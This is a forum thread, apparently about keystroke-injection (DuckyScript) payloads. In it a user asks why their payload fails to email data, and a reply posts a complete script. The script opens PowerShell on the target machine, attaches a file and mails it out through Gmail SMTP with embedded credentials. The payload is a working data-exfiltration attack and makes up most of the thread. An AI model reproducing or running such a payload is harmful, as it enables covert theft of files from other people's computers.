Jump to content

Cannot seem to get it to send an email


CztHrm
 Share

Recommended Posts

I've tried every way I can think of. If all else fails I'll try to make it log in to like, dropbox and upload or something.

 

I've dug through most the posts on this site and it's unable to send. Should I try to use a different one than Gmail? Is that the problem?

Link to comment
Share on other sites

Here's what I do, just a few Powershell commands:

STRING powershell
ENTER
DELAY 500
STRING $EmailTo = "EMAILTO@gmail.com"
ENTER
DELAY 50
STRING $EmailFrom = "EMAILFROM@gmail.com" 
ENTER
DELAY 50
STRING $Subject = "EMAILSUBJECT" 
ENTER
DELAY 50
STRING $Body = "EMAILBODY" 
ENTER
DELAY 50
STRING $SMTPServer = "smtp.gmail.com" 
ENTER
DELAY 50
STRING $filenameAndPath = "ATTATCHMENT.txt" 
ENTER
DELAY 50
STRING $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom,$EmailTo,$Subject,$Body) 
ENTER
DELAY 50
STRING $attachment = New-Object System.Net.Mail.Attachment($filenameAndPath) 
ENTER
DELAY 50
STRING $SMTPMessage.Attachments.Add($attachment) 
ENTER
DELAY 50
STRING $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) 
ENTER
DELAY 50
STRING $SMTPClient.EnableSsl = $true 
ENTER
DELAY 50
STRING $SMTPClient.Credentials = New-Object System.Net.NetworkCredential("YOUREMAIL@gmail.com", "YOUR EMAIL PASSWORD OR 14 DIGIT AUTH CODE"); 
ENTER
DELAY 50
STRING $SMTPClient.Send($SMTPMessage)
ENTER
DELAY 2000
STRING exit
ENTER

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...